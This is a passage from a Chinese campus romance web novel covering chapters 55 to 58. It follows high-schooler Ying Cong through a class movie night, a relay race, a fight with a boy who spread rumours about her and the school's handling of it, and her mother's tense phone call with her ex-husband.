不等应琮反应,她继续自顾自道。
“无论是从外表的角度还是人品,抑或是学习成绩、家世,他都很完美。”
熊颜颜垂着眼眸,慢慢说着。
“如果我和他在一起,很多人都会羡慕我、嫉妒我,有些人可能会觉得我很幸运;也有些人会觉得盛逸女朋友原来是她,那不奇怪了。”
“盛逸,就像一个拿得出手的名牌包。”
她抬头直视着应琮的眼睛,脸上浮现出一丝笑。
“我喜欢拿着名牌包出门时,大家投来的眼神。”
或者说,她喜欢经营这样的人设,幸运、漂亮、成绩好、家世好,校园女神般的存在,因此她的一切附属也得是体面且惹人艳羡的,包括男朋友。
可惜出现一个应琮,还被评为校花。
与觉得这个所谓“校花”头衔很无聊很羞耻的应琮不同,熊颜颜认为所谓的“校花头衔只是虚构”的说法之所以存在,只是因为缺乏长得足够漂亮、人设足够完美且足够会营销的人罢了。
人设都是要经营的,她不觉得有什么问题。
现实中难道缺乏领取了这个头衔的人吗?
先前她以为应琮也是和自己同类的人,只不过似乎看走眼了。
“那你为什么又放弃了。”
应琮并不认可她的情感观念。
什么名牌包,盛逸只是盛逸而已。
即使和他在一起,他身上原本存在的优秀品质也不会借此转移到自己身上。
“因为……”
熊颜颜原本想说实话,目光触及她清澈的浅色眼眸时,忽然又笑,笑容里带了几分狡黠。
“没什么原因,腻了。”
听到她的回答,应琮不加掩饰地露出无语的表情。
熊颜颜这话说的,不知道的还以为她是多流连花丛的情场高手呢。
大家都是高中生,过着两点一线的生活,难道你的剧本不一样?
55. 第 55 章
高二(6)班。
偌大的教室里,此时只开了前面和后面的两盏灯,又拉着厚厚的窗帘,不似平时明亮。
盛逸蹲在教室后面,手上拿着个喷壶,正对着一盆植物絮絮叨叨。
若有人贸然闯入倒是蛮有吓人之嫌。
这盆植物正是当初他为了配合学校开展的活动,特意带过来的仙人球。
几天没有仔细照顾,原本碧绿茁壮的仙人球,落在盛逸眼里,只觉得它比之前小了一圈,表皮也变得有些皱皱巴巴,看着令人心疼。
“……也不知道给你喷点含糖分的清水,还能不能重新支棱起来。”
盛逸从上往下小心翼翼地喷水,微微打湿土壤便收了手。
还好他的抽屉里还有一包之前喝麦家咖啡剩的白糖,加水和一和,勉强能吊个葡萄糖水。
唉。
垂眸看着仙人球,他神情落寞,不免因此丛联想到彼琮。
平时甚少忧虑的人烦心起来,眉宇间像有着化不开的纠结。
熊颜颜到底对应琮说了什么?她们两个人之间有过私交吗?
盛逸怎么都百思不得其解。
如果非要说两个人之间产生过交集,似乎也只有之前几个人一起参加园艺劳动的那一次,而且当时两个人也没有表现出熟人之间存在的热络感。
等等。
盛逸无法控制自己的思绪胡乱发散,他又想到了那个可能。
应琮去找熊颜颜,该不会是一个为了能够甩开自己的借口……她实际上要找的人,是裴少言?
他抓抓自己的头发,烦躁又无可奈何地用力闭了闭眼睛。
没办法,应琮喜欢裴少言这件事,他早就知道,甚至年级里的很多同学都心照不宣。
盛逸又想起裴少言长跑时应琮看向他的眼神。虽然不想承认,但是应琮猜的对,那一瞬间他心情的确变差了。
即使对方一次又一次地选择逃避和冷漠以待,她的心中依然没有放下那个人。
盛逸想不通,为什么应琮的注意力总是不可避免地会分给裴少言,难道就因为他们两个人曾经是同桌?
可现在应琮的同桌是自己!
裴少言只不过在她身边陪伴了短短一年而已,而他们两个人会一直携手走完高中最后的两年。
两年>一年,自己一胜。
想到这里,盛逸的唇角勾起一个小小的弧度,很快又耷拉下来。
当同桌有什么用,他们两个人可是住在对门的邻居,成天抬头不见低头见的,难免会产生感情。
唉!
盛逸真的很想打开应琮的心看一看,她到底每天在想着谁、念着谁,为谁心动,又在为谁心伤。
“丛啊,我可跟你说清楚了,糖水只能治疗你一时,可没办法治愈单相思啊。”
盛逸语重心长道,又忍不住给仙人球喷了喷水。
“砰——”
后门忽然被人从外面推开,不安分的光亮瞬间溢入室内。
盛逸下意识地转头看去,恰好和应琮对上视线。
天!
刚刚还放心里想的人就这么出现在眼前。
活生生,水灵灵。
盛逸莫名心虚,直接将自己的整个手掌盖在仙人球的身上,冷不丁被刺扎了个毫不客气,顿时吃痛叫了出声。
“没事吧?”
他刚刚所有的动作,都被应琮看得一清二楚。虽然觉得这家伙的脑回路依然难懂,但她还是关心道。
“……没想到浑身是刺的仙人球也有开花的一天!”
盛逸的语气无不感慨。
如果他不加后面那句话的话,应琮还没那么无语。
“丛丛,你长大了。”
“……”
应琮真的很想开口骂人,但对着盛逸的那张脸,她的脑袋里莫名响起熊颜颜刚刚和自己说的话——
盛逸是一款,带出去很有面子的,名牌包包。
她本来应该生气的,但想到这句专门物化盛逸的话又有点想笑,表情一时变幻莫测。
“……别乱代餐。”
好半天,应琮才憋出来一句毫无杀伤力可言的话。
“我没乱讲啊,”盛逸又恢复了平时的态度,插科打诨道,“丛丛真的开花了,你过来看就知道了。”
应琮完全忘记自己回班的初衷,是为了将剩下的止痛药放回柜子里,真就按照他的话,蹲下来去看那株仙人球。
仙人球上面不知何时结出几个小小的橙红色圆球,的确是花苞。
花盆太小,两个人不知不觉便挨得很近。
闻到她身上熟悉的甜橙香气,盛逸忍不住抬眼偷偷看去。
察觉到对方炽热的目光,应琮冷冷地瞥了一眼。
偷看被瞪,盛逸连忙捂住自己的手,痛苦地“嘶”了一声。
“你的手还痛啊?”应琮面露几分无奈,“需要去讲台拿医药箱给你吗?”
“不用。”
盛逸垂眸看着她,神情一下子变得很柔软。
“只是有一点痛……如果你能吹一吹的话,可能会好一点。”
“我看这刺不是扎在你手上……而是扎在了脑子上吧。”
为什么随时随地都能胡说八道呢?
她果断起身,去拿医药箱。
“无论是什么,”盛逸低头看着仙人球,沉痛吟诗,“痛苦还是花开,都是她赠予的礼物。”
应琮假装没听见,背对他的时候翻了个白眼。
哪来的emo哥。
*
当天色暗下来的时候,吃过晚饭,大家又重新将操场上的椅子搬回各自的教室。
按照一中的惯例,现在是没有任何老师会来干扰的电影狂欢夜。
“真少见,没想到你们组也都留下来了。”
柳飞阳拿着自己的水杯准备去后面接水,发现应琮他们都还坐在自己的位置上,不由得笑了。
他们几人都是走读生,按道理来说可以早早回家,没想到竟然会留下来参与电影之夜。
听到她的调侃,应琮也跟着笑笑。
上一年的运动会,她便是早早跟裴少言一起回去的人。两个人一路上几乎没说什么话,光顾着讨论下午卷子里遇到的难题,就这样错过了电影之夜。
其实也不是为了看多精彩的电影,只是想这样和大家坐在一起,一边吃着零食,一边窃窃讨论着情节,总觉得会成为以后千金难买的回忆。
既然是电影狂欢夜,一堆人围着讲台上的电脑吵了半天,最终还是从班级本地盘里找出来经典的《哈利波特》看。为了更加沉浸,教室里的灯只留了一盏,窗帘也拉得严严实实,密不透风。
“吃不吃薯片?”
应琮全然沉浸在剧情中,忽觉胳膊肘被什么东西轻轻碰了碰。
一包刚打开的薯片,放在两个人桌子的中间,盛逸撑着脑袋,正看着她。
“不了,”应琮拒绝道,“吃这个太热气。”
“你今晚都吃麦当劳了,还怕热气?”
盛逸又将薯片往前推推。
唉,谁知道他下午也会在教室,刚好自己手上拿着在补给站买的麦当劳套餐。
应
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琮无奈,只好捏了薄薄的一小片,没有立刻放在嘴里,而是用一张纸巾垫着,好好放在桌上。
盛逸将她的动作看在眼里,不过也没有说什么,又将薯片分给坐在后面的杨乐。
“啪——”
原本还慷慨激昂的音乐戛然而止,与之同时消失的,还有电脑发光的屏幕和教室里唯一的那盏灯。
正聚精会神看电影的同学们集体发出低低的一声惊呼。
身为班长的丁一锐,率先跳起来去开教室的灯,却发现无论怎么来回拨动开关,都毫无反应。
“难道停电了?”
有人拿出自己的手机,用手电筒的光照着。
“看起来应该是。”
丁一锐拉开窗帘看看,发现对面的教学楼也是漆黑一片。
恰好在关键时候掉链子,想到后面的情节,有人发出无比失望的叹息。
丁一锐借助手电筒的光亮,在讲台底下的抽屉里肆意翻找起来,看到了什么,他兴奋出声:“还好这里有蜡烛,我们点蜡烛照明吧!”
抽屉里的蜡烛,还是上次许文言给班里同学过集体生日的时候剩下来的,足足有一大包。
但毕竟是插在蛋糕上的小蜡烛,光亮有限,只能说聊胜于无了。
“谁有打火机?”
他将一根根蜡烛分别卡在黑板下面的凹槽里,保持着一定的间距后,这才意识到一个重要的问题。
听到丁一锐的询问,下面无人回应。
打火机也是一级违禁品,谁敢私藏。
半晌后,杨乐忽然安静地走上讲台,将口袋里的东西放在桌上,很快又回到自己的位置上。
赫然是一个打火机。
丁一锐赶紧伸手挡住它,生怕会被教室后面的高清摄像头拍到。
再抬头看向杨乐时,他脸上的表情就多几分了然和凛然。
好哥们,我一定替你保守秘密。
一根根彩色的小蜡烛被点燃了,教室里亮起了星星点点的火光,烛火摇曳下,看起来颇有几分温馨。
或许是因为在学校里,这样的情景并不多见,有人拿起手机拍照。
有人忽然开口:“好适合许愿啊。”
冷不丁的话惹得大家先是哄笑,而后真就嘻嘻哈哈地开始许起愿来。
应琮也鬼使神差地闭上了眼睛,双手交握放在前胸:
希望妈妈能够健康幸福,自己高考顺利。
周围的人都间或闭起双眼,盛逸先闭眼后又偷偷睁开眼睛,看了几眼应琮后,这才认真地闭眼,虔诚许愿。
再睁开眼睛时,发现应琮正趴在桌子上专注地盯着他看,长而卷翘的睫毛忽闪,两个人的距离凑得很近。
盛逸浑身一震,显然被吓得不轻。
他做错啥了?
“你许了什么愿?需要这么久?”
应琮眯起眼睛,警惕道,怎么一副心虚的样子。
“关你什么事?”
盛逸难得有骨气反驳她。
“我刚刚看你的嘴型,好像在说什么笨蛋之类的。”
应琮又凑近了一些,"笨蛋骂谁?”
“笨蛋骂你。”盛逸下意识地接道。
“我就知道,”应琮哼哼两声,转过头去看窗外的夜色,“你准没憋什么好屁。”
“你变了,”盛逸道,“你的嘴里怎么能说出来如此粗俗的话。”
应琮充耳不闻。
盛逸看着她装傻的样子,又匿笑起来。
他许的心愿也没什么,只是希望眼前的笨蛋,许下的一切愿望都可以实现。
56. 第 56 章
飞快地,运动会的赛程来到了最后一天。
单人的项目基本上都比完了,只剩下集体类项目和几个有教职工参与的趣味运动项目。
兴许是考虑应琮之前从来没有跑过接力,体育老师特意安排她处在第二棒的位置。
这属于是一个中规中矩,不会出差错的位置。
不过因为时间不够,所以他们四个人也只私下排练过几次接棒、递棒的动作,一直到发令枪响前,应琮都有些紧张。
跑道边缘的线外,他们班的许多同学也十分具有集体主义精神地现身观赛。
丁一锐甚至还专门提前找老师们借了小蜜蜂扩音器,就是为了能够让自己的加油声更加响亮,能够传递到他们这些运动员的耳朵里。
只不过个别运动员倒是宁愿大家不要这么捧场就是了。
在等待的过程中,应琮还在人群中看见了熊颜颜、武小圆和邹枫,她们三个依然喜欢抱团行动。
她抿了抿唇,不知为何,更紧张了。
应琮站在起跑线外,一边放松手腕脚腕,一边遥遥望向最后一棒的背影——那是盛逸被安排的位置,也是最为关键的一棒。
要是她拖了后腿,说不定还会被这家伙阴阳怪气。
“各就位,预备——”
裁判的话音刚落,发令枪尖锐的声音几乎穿透云霄,淡淡的火药味在空气中弥散开来。
可能是肾上腺素的影响,应琮感到腿上的肌肉因紧张而微微颤抖,深吸一口气,回头看着距离自己越来越近的同学,暗自咬了咬牙。
自己可千万不能掉链子。
几乎是手指一触到接力棒,应琮便飞快地往前冲刺。
卷曲的发丝被梳成高高的马尾,伴随着她跑步的动作向后飞扬,此刻的应琮就像一只身姿矫健的骏马,奔驰在殷红的跑道上。
这和平常在体育课上表现出来的样子可不一样。
也许是难得见到她脸上展露出这般坚毅,也许是被她的奋力精神感染,观赛区的加油声此起彼伏,即使应琮已经离自己的起点很远了,还能听见有人扯着嗓子在喊自己的名字。
直到顺利将接力棒按照标准的动作递到柳飞阳的手中后,应琮心里绷着的弦这才缓和,在原地弯腰调整呼吸。
还好,自己的表现不算太差。
起跑时,他们班在第三位,但索性和第二名之间的距离不算大,她在一开始便全力加速,终于追平了和第二名之间的间隔。
现在,只要飞阳和盛逸能够稳住,那么他们班就可以摘下银牌。
应琮跺了几下脚,感觉放松下来了,转身缓缓沿着跑道,一点点往边缘走去。
因为跑得太快,刚刚不小心吸进了冷空气,她总感觉喉间艰涩难耐,又干又痒,像是有羽毛在里面挠。
一边走,应琮一边捂着嘴小声咳嗽,想要将并不存在的羽毛咳出来。
“给。”
面前忽然出现了一瓶水。
应琮怔了怔,忘记伸手去接。
“你怎么在这里?”
她抬头看着对方,疑惑不解。
其实她真正想问的是,为什么你会给我送水。
眼前的女孩脸上泛着运动过后的红晕,神情又因为他的动作而不解,眼神清澈,看起来很像她最喜欢的小动物。
“很意外吗?”
裴少言按捺住想要将水瓶贴到她脸颊的冲动,随口反问道,顺手拧开瓶盖,将水递去。
“……有点。”
应琮顺从地接过,喝了一小口水,总算润了润自己干涩的喉咙。
裴少言不言不语,安静地配合着她的步伐,两个人慢慢往回走。
“……你等下要回你们班营帐还是教室?”应琮问,抬手指了指另一个方向。
1班扎营在和6班相反的位置。
“回教室。”裴少言答道,但丝毫没有要和她分道扬镳的意思。
应琮眨了眨眼睛,没说什么。
反正也猜不透他每天在想什么,还是不浪费力气去猜了吧。
或许是因为两个人走得实在太慢,待她回到6班大本营时,接力赛的结果早就传了回来,俨然是一片欢乐的海洋。
把她送到班里,又将水留下后,裴少言便离开了,直到道别时也没说特意来赛场找她是什么原因。
跑步的时候应琮并不觉得冷或热,就好像开了屏蔽一样,现在身体缓过来了,反倒感觉衣服贴在自己的后背上,而露出来的手臂和小腿又有些寒冷。
她赶紧从自己带来的包里,拿出提前准备好替换的衣服,匆匆往洗手间的方向走去。
“……喂,你和应琮在一起了吗?”
有人大大咧咧地说着。
听到自己的名字,应琮的脚步一顿,顺着声音的来源寻找。
洗手间后面的空地上,盛逸和班里另外两名男生坐在一起,其中一个,还是刚刚跑完接力的一棒孙星洋。
几人手上都拿着运动饮料,看样子是在休息。
又是被迫听到别人对自己的议论,应琮已经经历过一次类似的事情了,她面无表情,悄悄地从侧面靠近几人。
盛逸眉毛一挑,还没有来得及开口,对方又道:“我刚看到001送她回大本营,还是说他们两个在一起了?”
“没有的事。”
应琮听见盛逸闷声闷气地说。
“哥们,”孙星洋放下手上的饮料,拍了拍他的肩膀,语重心长道:“别说我没提醒你,你看她高一时候和001纠缠不清,现在又和你玩暧昧。不光是年级里,就连学长们也有不少对她大献殷勤的,这就叫做会利用优势啦。”
“恐怕你连排都排不上号。”
说着说着,他又啧啧道,“好心劝你一句,这样的手段,你是玩不过她的。”
似乎看盛逸表情不够明朗,他还火上浇油般接着补充,“你看她今天比赛,多的是男生给她加油,人家关系可不一般,放学后还一起''加练''呢。”
他故意在个别词汇加重咬字,辅以暗示性很强的笑容。
应琮早在听他说第一句时,就已经忍不住心里的怒火,再听到后面对自己无中生有的污蔑,更是怒从中来。
练习接力的时候明明还人模人样的,怎么私下就变成了这副鉴样。
忍无可忍无须再忍!
应琮径直冲到孙星洋的面前,抬手便准备狠狠地给他一拳。
坐在旁边的盛逸,忽然反手接住了她的拳头。
什么人呐!竟然敢拦自己!
应琮气到不仅怒目而视,还有些说不清道不明的委屈,另一只手准备朝盛逸的脸打去。
“你就别动手了。这种事,还是交给被当面挑衅的人来做吧。”
盛逸卸下她的力气,轻飘飘地丢下这句话后,在她震惊的目光下,
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一把将还坐在原位没动弹的男生提起来丢在地上,挥拳便打。
孙星洋没想到当事人会出现在眼前,更没想到盛逸会替应琮出头,然而势如疾风的拳头下来,他毫无反应的时机。硬生生挨了一记重拳,脸上的剧痛让他把上辈子的泪水都飚出来了。
真是只疯狗,哪有人打人还专打脸的?
他骂了句,也毫不客气地回手,两个男生在地上打作一团。
另一名男生见事态不对,拔脚便跑。
见盛逸一连将孙星洋脸都揍肿了,应琮在一旁才后知后觉地反应过来,他在替自己出气。
心里的第一反应是快感,然后才是“原来他没误会自己”的放松。
谣言之所以有伤害力,还得是有信谣的人。
虽然刚刚盛逸提醒她不要掺和进来,他自己一个人的身手也不错,但架不住对方心思狡诈,老使阴招。这孙星洋将小指头的指甲留得长,打架的中途有意在她同桌脸上刮了好几下,一道道红痕,看着像渗了毒一样难受。
刚好另一个见证者跑掉了,于是女中媖杰应琮也趁机加入到混乱的战局中,踹了这男的好几脚。
“不要打了不要打了!”
过了一会儿,打架的阵仗闹得大了,闻讯而来的同学赶来劝架,不管认不认识,都跑了过来。
换好衣服的柳飞阳刚从洗手间出来,便被带到现场,看清了地上互殴的两个人——还都是自己班的。
“孙星洋!盛逸!你们两个还不快住手!”
盛逸倒是听得了人话,主动停止了攻击,而另一个,趁机又多打了一拳过去。
见状,柳飞阳强硬地拽住孙星洋的领口,迫使他停下动作。
猛地被人拉住,孙星洋还有些不服气,用力往回抽自己的手臂,还想要继续。
大家围了上来,赶紧分开他和盛逸。
战局好不容易结束,柳飞阳定睛看去,这孙星洋的脸完全肿成猪头了。对比起来,一旁的盛逸倒是完好许多,但也挂了彩。
“……你们两个,都是哪个班的?”
一道怒气隐隐的声音,从包围圈外传来。
声音熟悉得令人有些不安。
包围圈中空出一个口子,一身运动服的教导主任,此时的脸又黑又臭。
糟糕。
应琮心下一惊,忘记接下来是教职工的趣味运动会了,老师们都还在学校。
“都这么大人了,还能在地上打来打去,成什么样子!”
看着面前两个身形几乎和成年人无异的少年,因为打架衣衫和脸都变得凌乱不整,其中一个的身上还有几个清晰的鞋印,看起来分外滑稽。
实在是完全将一中的校规校训抛在了九霄云外,教导主任气得吹胡子瞪眼。
“你们下午也不用放假了,”他紧绷着脸,声音低沉,“请你们的家长过来一趟吧,我们好好聊一聊这件事究竟是怎么发生的。”
听到这一噩耗,围观群众们投向他们的目光不由得多了几分怜悯。
请家长,搞不好学校会开处分。
然而盛逸的表情没什么变化,他并不认为自己做错了。
而孙星洋却神色灰暗,险些踉跄。
应琮也听到了教导主任的话,她灵巧地钻过人群,上前一步。
“老师,这件事虽因孙星洋而起,但和我也有关系,我想我也应该去教导处说明情况。”
57. 第 57 章
教导处。
盛逸和孙星洋分别站在两边,一个仰脸看天,一个垂头看地。
他们两个刚刚都当着教导主任的面,和自己的家长打了电话。
“说说吧,”教导主任坐在桌前,严厉的眼神扫过桀骜不驯的男生,转而看向应琮,“既然你见证了全程,那你来说。”
在等待的过程中,应琮早已在心里组织好语言。
闻言,她不卑不亢地上前,言简意赅地说了全过程,大致就是自己被造谣气不过,准备去揍孙星洋的时候,盛逸同学替她出气。
教导主任越听脸色越是铁青,显然没想到自己引以为傲的校风校纪在这群学生面前居然形同虚设,一中的学生也居然能做出这种街头混混般的事迹。
再略一转头,看到孙星洋因为应琮的讲述,变得越来越灰败的脸色,教导主任心下已然做出决定。
始作俑者是他,造谣生事是他,他们学校怎么会产生这样的败类?
教导主任虽有教导之名,也不是大爱无疆的教育圣人。他心知肚明:若只是小学初中便也罢了,一个高二的学生基本三观都已经定型,不是那么轻易便能扭转的,也不该再以未成年为由给自己开脱。
如果这位女同学没有撒谎的话,孙星洋的行为简直是在自己的雷区蹦跶,绝不能姑息。考虑到应琮毕竟是受害者,他沉了沉气,态度难免和缓了些。
“……既然事出有因,那也不便责罚太过。”
闻言,应琮刚松了一口气,又听到主任开口:“但也不能随随便便就动手,否则有违团结。”
打架毕竟影响恶劣,何况先动手的人总是错的。即使心里的天平有了偏向,但程序总归是程序。
姜还是老的辣。
“是我先动手的,”应琮认真地说,“如果一定要罚,那就我来承担责任吧。”
“主任,应琮压根没动手,况且她是受害者。”
盛逸听她主动将责任揽到自己身上,立即蹙眉开口,“当时还有另一个同学在场,可以证明,先动手打人的是我。”
在旁边沉默的孙星洋忽然嗤笑一声,如果应琮没动手,那他身上的鞋印又是哪来的?
“老师,这都是他们一面之词。她和盛逸是同桌,平时关系可好了。说不定早就私下交往……我们学校不是严厉打击早恋的吗?”
他阴恻恻的目光在盛逸和应琮之间游离,充满了不怀好意。
“你!”
应琮没想到他竟然这么爱给别人泼脏水,咬牙瞪了过去。
“如果不是情侣的话,你们凭什么要这么互相维护呢?”
孙星洋或许因为自己没有什么好朋友,不知道正常人之间是会团结友爱、互帮互助、互相信任的。
“就凭她说的是事实,我说的也是事实。”盛逸驳斥道:“孙星洋,现在是在老师办公室,即使在教导主任面前,你也依然不放弃给应琮造谣?”
“老师,”应琮压下自己的情绪,再次开口,“我和盛逸同学之间,只是普通同学关系。况且我相信,无论听到谁被造谣,他都愿意勇敢地站出来,帮助他人。”
“因为他正直、善良又不失勇敢。”
教导主任的脸上没什么表情,像是对他们的话不为所动一般。
应琮再次往前走了一步,极力模仿着平时丁一锐的语气,晓之以情,动之以理地劝说。
“……如果对盛逸的惩罚太过,那以后校园里再出现像这种语言上的暴力,还有谁愿意挺身而出呢?”
她微微垂脸,飞快地用手拂过眼角。
时刻关注她的盛逸察觉到了异样,顿时瞳孔微睁。
怎么还哭了?
盛逸觉得自己的心脏简直像被一张大手紧紧攥住,后悔不已。
他刚刚怎么就没能把孙星洋给揍死?
“孙星洋同学,对我进行恶意揣测和语言暴力,使我感到非常恐惧和不安……希望老师能够做出公正而严厉的判断。”
应琮当然没哭,这只是必要时采取的小技巧罢了。
相较于刚才,主任脸上的表情凝重了些,也更为认真地审视起自己面前站着的三个人。
“你们都先出去吧。”
听到外面传来一阵脚步声,他摆了摆手。
“有些事情,我会和你们的家长谈谈。”
应琮低头颔首,十分乖巧地走出办公室,盛逸紧随其后。
“妈妈,”看到应雨柔,她不复刚刚在办公室的模样,低头小声嗫嚅道,“我……”
即使知道她离学校并不远,应琮依然有些愧疚。
这样一来,基本上就打乱了妈妈原本制定的午后计划。
“事情我都知道了,不用担心!”
应雨柔温柔一笑,及时地安抚她。
一回生二回熟,她又不是第一次来教导处了。
上次为了说明女儿头发的颜色和自来卷是天生的,自己可是狠狠地在办公室发了火。
希望这次用不上她发火。
相较于其他两位家长,盛逸的妈妈姗姗来迟,而且很有松弛感地穿着卫衣外套和牛仔裤。
只不过她一走来,脸上的表情却很严肃,刚走近儿子身边,便抬起手——吓得应琮差点就要开口阻止。
结果她只是在盛逸肩膀上拍了拍,轻声训斥了一声“臭小子”,紧接着便检查了下他脸上的伤势。
“阿姨好。”
见阿姨转头看向自己,应琮连忙礼貌问好,心里有些紧张:毕竟盛逸是因为自己才受伤。
“你好呀。”
见到她,盛妈倒是没有指责的意思,反而笑得眼眸弯弯,尾音也轻快地上扬。
“快点进去吧妈,”盛逸像是不想她俩细聊般地催促道,“本来就来晚了,还在这里磨蹭,老师可是在里面等着呢。”
“急什么,”盛妈白他一眼,不顾儿子伤情,拍在他手臂上,“你可是耽误了我和乐乐阿姨难得的麻将休闲时光。”
“我错了陛下,轻点轻点。”
盛逸纵然习惯了他妈下手没轻没重,也不想当着应琮和应女士的面挨打。
亲身感受到盛逸家的氛围,在旁边的应雨柔心里隐藏的怒气也消减了。
难怪盛逸这么好玩,原来是遗传他的妈妈。
*
两位妈妈都比较给力,没能让孙星洋讨得了好,事情的处理结果,从应琮和盛逸的角度来看,应该是皆大欢喜的结局。
孙星洋因为造谣污蔑他人,又参与了打架斗殴,实在破坏同学之间的团结,所以被记过一次,另外还罚他写1000字以上的反思外加停宿一周。
而盛逸,毕竟是率先动手的一方,所以也少不了写反思。
但因为事出有因,他毕竟是替应琮出头,校长上个月刚刚在国旗下讲话分享了见义勇为不应该受罚的稿子,学校总不能说一套做一套,所以将功抵过,免除了
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记过的处分。
至于应琮,因为是受害者,所以教导主任只是简单在口头上教育了几句,让她以后不要鲁莽行事后,便了结此事。
待收拾好东西从学校出来,天色已经暗了。
盛妈目视前方,专注开车,她冷不丁地忽然开口:“你今天出头,是不是因为喜欢人家小姑娘?”
“咳咳咳”
哪怕盛逸没有喝水,也被自己的口水呛了个半死。
“说说而已,瞧你没出息的样儿。”盛妈瞥他一眼。
“是那个孙星洋讲话实在难听……我这是为了正义而战!”
盛逸说得义正言辞。
“哦,正义啊……”盛妈意味深长地笑了,“那你脸红什么呢?”
“我是因为刚刚咳嗽才这样的。”盛逸辩解道。
“原来如此,”盛妈又笑,语气一转,“唉,小姑娘长得还挺漂亮的,像个洋娃娃,我就想要个这样的女儿。”
盛逸不语,只是一味脸红。
*
眼看天色已晚,母女俩一合计,还不如回店里直接做点东西吃,反正离学校也很近。
两个人就这样慢悠悠地走在路上。
一中的学生们早在中午闭幕式结束后就放学了,而现在还没到下班时间,所以街道上没什么人。
“叮铃叮铃”
应雨柔在开门时,几声清脆的车铃从身后由远及近。
“雨柔,小琮——”
骑着自行车的美芳阿姨笑眯眯地过来,两只手牢牢把着车把,大声地和她们打招呼。
“美芳阿姨,”应琮有些惊讶,“你什么时候学会骑自行车的?”
她知道阿姨的家离店里有一段不远不近的距离,因为美芳阿姨不会骑自行车,所以平时不忙的时候就是阿姨走路过来,忙的话就是她的老公每天开着小电鸡来送。
“哎呦小琮,我们女人应该靠自己,如果我不学会骑车的话,岂不是天天都要麻烦你叔叔?”
美芳阿姨一边锁车一边语重心长。
“……阿姨,”应琮感觉这话的口气听起来分外耳熟,“你是不是又看了什么女强人逆袭短剧?”
最近,美芳阿姨爱上了看短剧,应琮偶尔从厨房路过,就能看到她支着手机支架,聚精会神追剧的样子。
“为什么要说能力强的女人是女强人,”美芳纠正她的话,“如果这样,有能力的男人也应该叫男强人才是。”
好像是这么个道理。
应琮沉默,旋即点头认同她的先进说法。
“今晚你想吃什么?阿姨都能给你做!”
美芳锁好了车,看她还在门外愣着,轻轻拍拍应琮的肩头。
“随便吃点吧,”应琮还不算饿,“煮云吞面怎么样?”
“当然没问题!”
待两个人一起走进店里,却发现应雨柔的脸色十分难看。
“妈……?”
应琮好奇地开口。
发现她们进来,应雨柔举了举手上拿着的手机,示意自己正在打电话,然后听到什么,整个人又往外面走。
“咱们先吃。”
美芳笑笑,并没有在意,钻进了厨房开始忙活。
透过玻璃,应琮能够清晰看到妈妈打电话时,脖子侧面凸显出的青筋。
她在生气吗?
是谁惹她生气?
应琮悄悄移动脚步,将玻璃门推开几许。
58. 第 58 章
“……不仅是现在,我以后也不想再和你讨论这件事。”
应雨柔似乎在尽力维持声音的冷淡,但是仔细听能发现她在微微颤抖,她看起来也很疲惫。
“你这是在威胁我吗?”
不知电话对面的人说了什么,应雨柔的神情忽然变了,声音也陡然提高。
应琮扶住门框的手微微收紧。
“李正心,你真是个不折不扣的混蛋!”
如果应琮没有看错的话,妈妈几乎是在说完这句话的一瞬间,气红了眼眶。
果然又是他,应琮有些愤恨,他又想怎么样?
他再婚之后难道过得不幸福吗?
为什么要一而再、再而三地来打搅她们母女俩的幸福。
听见父母之间的争吵,应琮发觉自己根本又陷入了深深的无力。
她爸不像学校里幼稚的、爱说小话的同学,只需要找来学校的领导和家长就可以轻松处理;也不像街头的小混混,被警察约谈之后就没再出现在她们面前。
那是一个讨人厌却成熟的男人,他有的是力气和手段,应女士和她已经足够不优柔寡断,也足够坚强,但是当初两人离婚之际,依然是和他掰扯纠缠很久,并且没讨到什么好。
应琮相信,如果不是因为自己从头到尾都坚持要跟妈妈,而李正心那时候尚自信自己以后有的是机会挽回她们母子,恐怕她和妈妈共同离开那个家,会变得更加艰难。
她从门前离开,无力地软软靠在椅子上,双手撑着自己的前额。
一团温热又不失重量的东西,沉甸甸地落在应琮的大腿上。
低头看去,原来是咪咪亲自来安慰她了。
“谢谢你……”
应琮拥它入怀,喃喃道。
一人一猫就这么安静地呆着,原本应琮还低落伤感的心逐渐被抚平褶皱——也许只是表面上。
而应雨柔打电话的声音也越来越小,或者说,面对李正心,最终的结果只能回以沉默。
不知过了多久,听到身后传来脚步声,应琮缓了缓情绪,回头看去。
“咦?”
来人却并不是应雨柔,她瞳孔微睁。
“……刚好我买了点东西路过,看到店开着,就顺便拿给你们。”
裴少言有些风尘仆仆地走来,将手上提着的纸袋轻轻放在桌上。
金秋时节,他额角居然还有汗。
“买了什么?”
应琮有些奇怪,裴少言这时候不应该早回家了吗?
什么东西,至于他亲自送过来。
自从上次刚开业时和裴少言一起吃过饭后,几乎一个月过去了,他再没来过店里。
“八宝糕……和一些其他的。”
裴少言顿了顿,微微别过脸。
“我记得你之前说,自己很久都没有吃到过这个,刚好今天有卖,就带过来了。”
“可是,”应琮看他放下东西后就两手空空,“你也只买了一袋吧,全部给我怎么行?”
她放下怀里的小猫,起身要去找其他的袋子分装。
“不,我本来就不怎么吃甜食,”裴少言阻止道,“而且已经提前拿出来一些了。”
提前拿出来?
眉头稍稍一动,应琮的动作一顿,转身似笑非笑地盯着他。
“怎么了。”
裴少言面不改色,回看她。
“你既说是顺路买的东西,又怎么能提前拿出来一些?”
应琮直接点破他话语中自相矛盾的地方,笑眯眯地反问。
“……”
裴少言扭头不语,白净修长的脖颈染上薄红。
“琮琮,你同学来啦?”
美芳阿姨端着一碗云吞面走来。
她刚刚一直在厨房里做饭,丝毫没有察觉到外面的事情。
“裴少言,”有了阿姨的招呼,应琮表现得更加自然,“要不要提前一点,在这里吃晚饭?”
“我……”
少年面露犹豫。
“吃完饭再去接小婷,不行吗?”
应琮的语气变得更加轻缓,透亮的眸子里折射着水光。
看着二人的互动,美芳低头笑笑,耐心地站在旁边等待。
不等回答,自己的腿上已然攀着一只体重不容小觑的猫咪,挂在裤子上摇摇欲坠。裴少言弯腰抱起咪咪,沉默半晌,终于还是点头妥协,坐在应琮对面的位置上。
“阿姨,厨房还有什么?”应琮扭头看向阿姨。
“什么都有,”美芳热情道,“想吃什么都行,阿姨现在的速度可快了。”
“不如你试试我们家的招牌饺子吧,反正也没吃过。”
应琮看裴少言看也不看菜单的样子,恐怕又要和上次一样,和自己吃重复的东西,赶紧推荐道。
“可以。”
裴少言这次倒决定得很快。
“没有忌口吧?”
美芳阿姨象征性地问了句,见少年点点头,立即像一阵风一样回到厨房。
现在又只剩下两个人了。
白色的蒸汽袅袅而上,模糊了他们的面容。
应琮赶紧拿起筷子搅了搅,担心面条会粘连在一起。
“你先吃吧。”
